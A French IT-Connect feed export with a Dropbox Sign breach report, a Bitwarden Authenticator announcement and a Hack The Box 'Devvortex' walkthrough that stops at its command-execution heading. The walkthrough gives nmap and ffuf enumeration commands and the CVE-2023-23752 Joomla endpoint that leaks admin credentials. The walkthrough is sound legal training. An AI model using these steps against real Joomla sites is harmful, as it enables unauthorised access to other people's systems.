# articles

feed_id: https://www.it-connect.fr/?p=80833
title: Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate !
uri: 2024-05-03-
url: https://www.it-connect.fr/piratage-dropbox-sign-e-mails-mots-de-passe-voles-par-le-pirate/
content:
<p><strong>Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.</strong></p>



<p>Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment <strong>Dropbox Sign</strong>. Anciennement appelé HelloSign, il s'agit d'<strong>un service en ligne de signature électronique</strong>. C'est ce service qui est impacté par l'incident de sécurité.</p>



<p>En effet, le <strong>24 avril 2024</strong>, Dropbox a détecté <strong>un accès non autorisé à l'environnement de production de son service Dropbox Sign</strong>. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à <strong>ce compte compromis</strong>, Dropbox précise que<strong> le pirate a pu accéder à la <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/bdd/" target="_blank" rel="noopener" title="base de données" data-wpil-keyword-link="linked">base de données</a> clients</strong>.</p>



<p><strong>Cet incident de sécurité affecte uniquement Dropbox Sign </strong>: "<em>D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.</em>", peut-on lire sur le site de Dropbox.</p>



<h2 class="wp-block-heading">Que contient cette base de données ?</h2>



<p>Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le<strong> nom d'utilisateur</strong>, l'<strong>adresse e-mail</strong>, le <strong>numéro de téléphone</strong>, ainsi que le<strong> mot de passe du compte</strong>. Le précieux sésame <strong>n'est pas accessible directement en clair</strong>, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.</p>



<p>Ce n'est pas tout ! Le cybercriminel a pu également accéder <strong>aux réglages du compte</strong>, aux <strong>données liées à l'authentification multifacteurs</strong>, aux<strong> clés d'API </strong>et aux<strong> jetons oAuth</strong>. Des informations précieuses pour faire le pont avec d'autres applications et services.</p>



<p><strong>Cette fuite de données concerne aussi les utilisateurs invités</strong>, qui n'ont pas forcément un compte Dropbox Sign : "<em>Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.</em>", peut-on lire sur le<a href="https://sign.dropbox.com/blog/a-recent-security-incident-involving-dropbox-sign" target="_blank" rel="noopener nofollow" title=""> site de Dropbox</a>.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Si vous utilisez Dropbox Sign,<strong> vous devez changer votre mot de passe dès que possible</strong> et effectuer <strong>une nouvelle configuration de l'application MFA </strong>pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.</p>



<p>De son côté, <strong>Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs</strong> : "<em>En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth.</em>"</p>



<p>Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.</p>



<p><a href="https://sign.dropbox.com/blog/a-recent-security-incident-involving-dropbox-sign" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/piratage-dropbox-sign-e-mails-mots-de-passe-voles-par-le-pirate/">Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=80826
title: Bitwarden Authenticator, une nouvelle application MFA open source pour Android et iOS
uri: Bitwarden-Authenticator-une-nouvelle-application-MFA-open-source-pour
url: https://www.it-connect.fr/bitwarden-authenticator-application-mfa-open-source-android-ios/
content:
<p><strong>Bitwarden Authenticator, c'est le nom de la nouvelle application mobile lancée par Bitwarden ! Son objectif : générer des codes TOTP utilisables dans le cadre de l'authentification multifacteurs (MFA).</strong></p>



<p>Bitwarden, éditeur du célèbre gestionnaire de mots de passe du même nom, a lancé une nouvelle application <strong>pour Android et iOS. </strong>Cette application sert à générer des mots de passe à usage unique basé sur le temps, c'est-à-dire des <strong>codes TOTP</strong> (<em>Time-based one-time password</em>), pour<strong> les comptes enregistrés dans l'application</strong>. Il peut s'agir d'un compte de n'importe quel service ou site web à condition que celui-ci propose l'authentification multifacteurs basée sur cette méthode très répandue.</p>



<p>Dans le <strong>gestionnaire de mots de passe Bitwarden</strong>, il y a déjà une <strong>fonctionnalité pour générer des codes TOTP</strong>, mais elle est<strong> réservée aux utilisateurs payants</strong>. D'ailleurs, cette fonctionnalité sera maintenue : "<em>L'Authenticator intégré restera disponible avec les abonnements payants.</em>", peut-on lire sur le<a href="https://bitwarden.com/blog/bitwarden-just-launched-a-new-authenticator-app-heres-what-it-means-to-users/" target="_blank" rel="noopener nofollow" title=""> site de Bitwarden</a>.</p>



<p><em>A contrario</em>, l'application<strong> Bitwarden Authenticator est gratuite pour tous les utilisateurs</strong>, y compris ceux qui n'utilisent pas Bitwarden. Elle vient s'ajouter à la longue liste des applications de gestion de comptes telles que Microsoft Authenticator, Google Authenticator, FreeOTP ou encore Authy.</p>



<p>Pour ajouter un compte à l'application Bitwarden Authenticator, l'utilisateur n'a qu'une chose à faire : scanner le QR code généré par le service ou le site web.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/ee0637f0.Bitwarden-Authenticator-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-1.jpg"><img fetchpriority="high" decoding="async" width="400" height="711" data-id="80829" src="media/ee0637f0.Bitwarden-Authenticator-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-1.jpg" alt="" class="wp-image-80829" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-1.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-1-84x150.jpg 84w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-1-28x50.jpg 28w" sizes="(max-width: 400px) 100vw, 400px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/4dd875e6.Bitwarden-Authenticator-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-2.jpg"><img decoding="async" width="400" height="711" data-id="80828" src="media/4dd875e6.Bitwarden-Authenticator-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-2.jpg" alt="" class="wp-image-80828" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-2.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-2-84x150.jpg 84w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-2-28x50.jpg 28w" sizes="(max-width: 400px) 100vw, 400px" /></a></figure>
</figure>



<h2 class="wp-block-heading">La feuille de route de Bitwarden Authenticator</h2>



<p>Pour le moment, <strong>l'application, bien que stable, n'en est qu'à la phase 1 de son lancement</strong>. Cela signifie que cette première version est limitée en termes de fonctionnalités, et notamment vis-à-vis des applications concurrentes.</p>



<p>Comme le montre l'image ci-dessous, correspondante à la feuille de route de Bitwarden Authenticator, d'autres fonctionnalités seront ajoutées par la suite. Il y aura notamment la possibilité de synchroniser ses comptes Bitwarden Authenticator sur les serveurs de Bitwarden, et les retrouver dans son coffre-fort de mots de passe. Il est également prévu l'ajout d'un mode de restauration et la prise en charge du 2FA par notifications ("Push-based 2FA").</p>



<figure class="wp-block-image size-full"><img decoding="async" width="692" height="402" src="media/1e07f78d.Bitwarden-Authenticator-Feuille-de-route.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-Feuille-de-route.jpg" alt="" class="wp-image-80827" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-Feuille-de-route.jpg 692w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-Feuille-de-route-550x320.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-Feuille-de-route-150x87.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/05/Bitwarden-Authenticator-Feuille-de-route-50x29.jpg 50w" sizes="(max-width: 692px) 100vw, 692px" /><figcaption class="wp-element-caption">Source : Bitwarden</figcaption></figure>



<h2 class="wp-block-heading">Bitwarden Authenticator : une application open source</h2>



<p>Sachez que ces applications sont <em>open source</em>, donc<strong> leur code source sont disponibles sur GitHub</strong> (<a href="https://github.com/bitwarden/authenticator-android" target="_blank" rel="noopener nofollow" title="">Android</a> - <a href="https://github.com/bitwarden/authenticator-ios" target="_blank" rel="noopener nofollow" title="">iOS</a>). Enfin, voici les liens pour télécharger cette application :</p>



<ul>
<li><a href="https://play.google.com/store/apps/details?id=com.bitwarden.authenticator" target="_blank" rel="noopener" title="">Bitwarden Authenticator - Google Play Store</a></li>



<li><a href="https://apps.apple.com/us/app/bitwarden-authenticator/id6497335175" target="_blank" rel="noopener nofollow" title="">Bitwarden Authenticator - Apple App Store</a></li>
</ul>



<p><strong>Qu'en pensez-vous ?</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/software/bitwarden-launches-new-mfa-authenticator-app-for-ios-android/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/bitwarden-authenticator-application-mfa-open-source-android-ios/">Bitwarden Authenticator, une nouvelle application MFA open source pour Android et iOS</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72681
title: Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-Devvortex-outils-méthodes-et-rec
url: https://www.it-connect.fr/hack-the-box-resoudre-la-box-devvortex/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via <a href="https://www.hackthebox.com/machines/devvortex" target="_blank" rel="noopener nofollow" title="">cette page</a>.</strong></p>



<figure class="wp-block-image alignright size-full is-resized"><img fetchpriority="high" decoding="async" width="694" height="530" src="media/4a31cfc7.hackthebox-walkthrough-devvortex-writeup.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-writeup.png" alt="" class="wp-image-72774" style="width:484px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-writeup.png 694w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-writeup-550x420.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-writeup-150x115.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-writeup-50x38.png 50w" sizes="(max-width: 694px) 100vw, 694px" /></figure>



<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant <strong>la démarche d'un cyberattaquant.</strong> L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre <strong>les utilisateurs du système, puis le compte root ou administrateur</strong>. </p>



<p>Ces exercices permettent de s’entraîner<strong> légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs <img src="media/b95a57a9.1f642.png" data-original-source="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article. </p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noopener" title="les règles d'HackThebox">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">comme "Retired".</mark></mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies abordées</strong></td><td>Linux, web, Joomla, MySQL</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, ffuf, JohnTheRipper, searchsploit, CVE, sudo</td></tr></tbody></table></figure>



<p><strong>Retrouvez tous nos articles Hack The Box via ce lien :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/tag/hack-the-box/" target="_blank" rel="noreferrer noopener">IT-Connect - Articles Hack The Box</a></li>
</ul>



<h2 class="wp-block-heading">II. Résolution de la box Devvortex</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP (<strong>10.10.11.242</strong>) de notre cible, commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noopener nofollow" title="nmap">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">10.10.11.242</mark>

Nmap scan report for 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS</code></pre>



<p>Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers <strong>http://devvortex.htb/</strong>. La commande suivante permet de l'ajouter à notre fichier <strong>/etc/hosts</strong> pour que notre système puisse le retrouver :</p>



<pre class="wp-block-code"><code>$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts</code></pre>



<p>Il s'agit d'un vhost (voir cet article : <a href="https://www.it-connect.fr/les-vhosts-sous-apache2/" target="_blank" rel="noopener" title="Les vHosts sous Apache2">Les vHosts sous Apache2</a>). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1595/003/" target="_blank" rel="noopener nofollow" title="T1595.003 - Active Scanning: Wordlist Scanning">T1595.003 - Active Scanning: Wordlist Scanning</a></p>



<pre class="wp-block-code"><code>$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">dev &#91;Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]</mark></code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>La liste de mot (wordlist) utilisée ici est celle de la ressource <a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener" title="SecLists, de Daniel Miessler">SecLists, de Daniel Miessler</a>. J'ai ajouté sur mon système une variable "<strong>s</strong>" qui contient le chemin d'accès vers ces listes (<strong>/usr/share/seclists</strong>) pour gagner en efficacité.</p>
</blockquote>



<p>Via cette énumération de vhost, l'outil <a href="https://github.com/ffuf/ffuf" target="_blank" rel="noopener nofollow" title="ffuf">ffuf</a> que j'utilise va effectuer des requêtes <strong>en changeant à chaque essai le sous domaine</strong> dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :</p>



<pre class="wp-block-code"><code>GET / HTTP/1.1
host: <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">FUZZ</mark>.devvortex.htb</code></pre>



<p>En identifiant des <strong>variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots</strong> dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost <strong>dev.devvortex.htb</strong>. Que l'on rajoute également à notre fichier <strong>/etc/host</strong> :</p>



<pre class="wp-block-code"><code>echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé <strong>est un piège qu'il faut savoir éviter</strong>. Respecter une méthodologie est très important, <strong>notamment lors des phases d'énumération</strong>, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.<br><br>Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.</p>
</blockquote>



<h3 class="wp-block-heading">B. Exploitation d'un Joomla non à jour</h3>



<p>Voyons à quoi ressemble ce site web en développement :</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="435" src="media/16e5aa94.hackthebox-walkthrough-devvortex-joomla-800x435.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-800x435.png" alt="" class="wp-image-72689" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-800x435.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-550x299.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-768x417.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla.png 1121w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (<em><a href="https://en.wikipedia.org/wiki/Content_management_system" target="_blank" rel="noopener nofollow" title="Content Management System">Content Management System</a></em>) comme <strong>WordPress, Joomla ou Drupal </strong>est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier <strong>robots.txt</strong> :</p>



<pre class="wp-block-code"><code>$ curl http://dev.devvortex.htb/robots.txt
# If<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"> the Joomla site</mark> is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">/joomla/administrator/</mark>
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
&#91;...]</code></pre>



<p>Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil <a href="https://github.com/projectdiscovery/nuclei" target="_blank" rel="noopener nofollow" title="nuclei">nuclei</a> :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1595/" target="_blank" rel="noopener nofollow" title="T1595 - Active Scanning: Vulnerability Scanning">T1595 - Active Scanning: Vulnerability Scanning</a></p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="679" src="media/75077f00.hackthebox-walkthrough-devvortex-nuclei-800x679.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-800x679.png" alt="" class="wp-image-72691" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-800x679.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-550x467.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-150x127.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-768x651.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei-50x42.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-nuclei.png 896w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Nuclei est un scanner de vulnérabilité web </strong>open source très intéressant. Il se compose de<strong> nombreux modules créés par la communauté</strong>. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration. <br><br>C'est un outil intéressant <strong>à lancer en parallèle des opérations manuelles</strong> puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.</p>
</blockquote>



<p>Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information : </p>



<pre class="wp-block-code"><code>$ curl -s <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">http://dev.devvortex.htb/administrator/manifests/files/joomla.xml</mark> | xmllint --format -                                                                                                  
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;extension type="file" method="upgrade"&gt;
  &lt;name&gt;files_joomla&lt;/name&gt;
  &lt;author&gt;Joomla! Project&lt;/author&gt;
  &lt;authorEmail&gt;admin@joomla.org&lt;/authorEmail&gt;
  &lt;authorUrl&gt;www.joomla.org&lt;/authorUrl&gt;
  &lt;copyright&gt;(C) 2019 Open Source Matters, Inc.&lt;/copyright&gt;
  &lt;license&gt;GNU General Public License version 2 or later; see LICENSE.txt&lt;/license&gt;
  &lt;version&gt;<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">4.2.6</mark>&lt;/version&gt;
  &lt;creationDate&gt;2022-12&lt;/creationDate&gt;</code></pre>



<p>Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à <strong>searchsploit </strong>(voir <a href="https://www.it-connect.fr/recherche-rapide-dans-la-base-exploit-db-avec-searchsploit/" target="_blank" rel="noopener" title="Recherche rapide dans la base Exploit-DB avec searchsploit">Recherche rapide dans la base Exploit-DB avec searchsploit</a>) :</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="222" src="media/82c64c4b.hackthebox-walkthrough-devvortex-joomla-cve-800x222.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-800x222.png" alt="" class="wp-image-72690" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-800x222.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-550x153.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-150x42.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-768x213.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-50x14.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve.png 846w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La <strong>CVE impacte la version 4.2.8</strong> (et probablement les précédentes) et <strong>notre version de Joomla est la 4.2.6,</strong> voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :</p>



<pre class="wp-block-code"><code>$ nuclei -u http://dev.devvortex.htb/                                                                                                                                                                                  
                                                                                                                                                                                                                                      
&#91;...]                                                                                                                                                                                  
&#91;<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">CVE-2023-23752</mark>] &#91;http] &#91;medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true                                                                                                                             
&#91;...]                                                                                                                                                                     
&#91;<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">joomla-detect:version</mark>] &#91;http] &#91;info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml &#91;4.2.6]                                                                                                                       
&#91;...]</code></pre>



<p>En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploit Public-Facing Application">T1190 - Exploit Public-Facing Application</a></p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="268" src="media/af6d9bdc.hackthebox-walkthrough-devvortex-joomla-cve-infoleak-800x268.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-800x268.png" alt="" class="wp-image-72692" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-800x268.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-550x184.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-150x50.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-768x257.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak-50x17.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-cve-infoleak.png 922w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès a<strong>u panel d'administration du Joomla</strong> :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener nofollow" title="T1078.003 - Valid Accounts: Local Accounts">T1078.003 - Valid Accounts: Local Accounts</a></p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="383" src="media/204dad6d.ackthebox-walkthrough-devvortex-joomla-administrator-800x383.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-800x383.png" alt="" class="wp-image-72693" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-800x383.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-550x263.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-768x367.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-joomla-administrator.png 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">C. Exécution de commande sur le système</h3>



